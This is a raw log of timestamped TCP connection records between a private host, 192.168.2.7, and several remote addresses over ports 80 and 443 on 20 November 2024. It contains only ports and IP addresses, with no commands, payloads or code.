Nov 20, 2024 23:12:59.341037989 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.341103077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.341245890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.341293097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.341880083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.341933012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.342067957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.342118025 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.342710018 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.342751026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.342889071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.343015909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.343569040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.343650103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.343707085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.344415903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.344461918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.344515085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.345269918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.345325947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.345393896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.345438957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.444319010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.444406986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.444449902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.444495916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.444700003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.444745064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.541738987 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:12:59.541776896 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:12:59.542049885 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:12:59.542757034 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:12:59.542869091 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:12:59.542988062 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:12:59.543003082 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:12:59.543021917 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:12:59.543826103 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:12:59.543865919 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:12:59.545422077 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:12:59.545449972 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:12:59.545679092 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:12:59.545841932 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:12:59.545854092 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:12:59.546323061 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:12:59.546360970 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:12:59.547890902 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:12:59.548039913 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:12:59.548054934 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:12:59.599206924 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:59.600414991 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:59.600465059 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:59.600899935 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:59.600913048 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:59.891201019 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:12:59.891247988 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:12:59.891489983 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:12:59.891653061 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:12:59.891673088 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:12:59.984798908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.984844923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:00.063132048 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.063193083 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.063273907 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.063424110 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.063465118 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.063497066 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.063513041 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.065438986 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.065917969 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.065932035 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.066129923 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.066160917 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.066397905 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.066467047 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.066472054 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.066531897 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.066543102 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.071346998 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.071587086 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.071600914 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.072712898 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.073019981 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.073177099 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.073188066 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.083930969 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.084328890 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.084391117 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.084750891 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.084767103 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.104420900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:00.104617119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:00.115350962 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.118479013 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.249444962 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.249931097 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.250001907 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.250322104 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.250335932 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.320436954 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.320662022 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:13:00.320673943 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.321021080 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.321387053 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:13:00.321455002 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.321558952 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:13:00.363322973 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.515105963 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.515170097 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.515242100 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.515261889 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.515409946 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.515860081 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.515865088 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.515880108 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.516238928 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.516343117 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.516402960 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.521200895 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.521241903 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.521322012 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.521476984 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.521488905 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.532181978 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.532241106 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.532380104 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.532429934 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.532562971 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.532603979 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.532628059 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.532965899 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.533052921 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.533097029 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.533884048 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.534032106 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.534087896 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.534516096 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.534532070 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:13:00.534542084 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.534579039 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:13:00.536453962 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.536492109 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.536648035 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.536806107 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.536819935 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.744391918 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.744451046 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.744669914 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.744735956 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.744971991 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.744971991 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.745064020 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.745348930 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.745445013 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.745533943 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.745595932 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.745874882 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.745898962 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.746268988 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.746273994 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.747586966 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.747632980 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.747745037 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.747863054 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:00.747881889 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:00.762211084 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.762430906 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.762443066 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.763513088 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.763557911 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.764461994 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.764523029 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.805246115 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.805259943 CET	443	49912	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.832456112 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:00.832485914 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:00.832737923 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:00.832902908 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:00.832917929 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:00.841767073 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.841797113 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.841917992 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.841976881 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:13:00.842611074 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:13:00.842623949 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:13:00.844283104 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.845021963 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.845032930 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.846086025 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.846148968 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.846452951 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.846514940 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.852112055 CET	49912	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.898974895 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:00.898986101 CET	443	49911	104.126.116.98	192.168.2.7
Nov 20, 2024 23:13:00.945873022 CET	49911	443	192.168.2.7	104.126.116.98
Nov 20, 2024 23:13:01.016863108 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.016906023 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:01.017260075 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.018111944 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.018136024 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:01.019969940 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.020006895 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:01.020173073 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.020682096 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.020699978 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:01.068387032 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.068416119 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:01.068684101 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.068857908 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:01.068876028 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:01.107429028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:01.107537985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:01.143413067 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.144062996 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.144129992 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.145212889 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.145289898 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.146471024 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.146550894 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.151640892 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:13:01.151937008 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:13:01.151952028 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:13:01.153337002 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:13:01.153399944 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:13:01.153800011 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.153820038 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.153856993 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.153884888 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.153894901 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.153908014 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.153918982 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.153954029 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.154755116 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:13:01.154819012 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:13:01.155424118 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.155445099 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.188097954 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.188710928 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.188729048 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.192178011 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.192244053 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.193346024 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.193403006 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.197860956 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.201123953 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.201286077 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.201349974 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.201366901 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.201380968 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.201386929 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.205403090 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:13:01.205416918 CET	443	49915	104.126.116.8	192.168.2.7
Nov 20, 2024 23:13:01.205410004 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.205473900 CET	443	49914	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.230853081 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.230880022 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.231019974 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.237611055 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.237623930 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.244205952 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.244215965 CET	443	49913	204.79.197.219	192.168.2.7
Nov 20, 2024 23:13:01.248009920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:01.259718895 CET	49915	443	192.168.2.7	104.126.116.8
Nov 20, 2024 23:13:01.259835005 CET	49914	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.291727066 CET	49913	443	192.168.2.7	204.79.197.219
Nov 20, 2024 23:13:01.367537975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:01.405734062 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.405771017 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.406282902 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.406491041 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:01.406503916 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:01.705780029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:01.705868959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:01.705920935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:01.706008911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:01.706114054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:01.706193924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:01.709877968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:01.829360008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:01.846329927 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.846793890 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.846823931 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:01.847268105 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:01.847279072 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.167551041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:02.167609930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:02.208762884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:02.229072094 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.232840061 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.232868910 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.233201027 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.234002113 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.234076977 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.234163046 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.278217077 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.278470039 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.278537035 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.278986931 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.279325962 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.279534101 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.279616117 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.279690027 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.291995049 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.292074919 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.292226076 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.294656038 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.294656038 CET	49916	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.294677973 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.294687986 CET	443	49916	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.297184944 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.297247887 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.297347069 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.297656059 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.297687054 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.327344894 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.328250885 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.328288078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:02.328556061 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.328576088 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.330034971 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.330095053 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.330405951 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.330492020 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.330559015 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.370497942 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.371323109 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.372009993 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.372026920 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.373126984 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.373131990 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.397406101 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.397418976 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.439043045 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.439264059 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:02.439275980 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.439652920 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.439970016 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:02.440036058 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.440100908 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:02.450093031 CET	49923	443	192.168.2.7	104.117.182.41
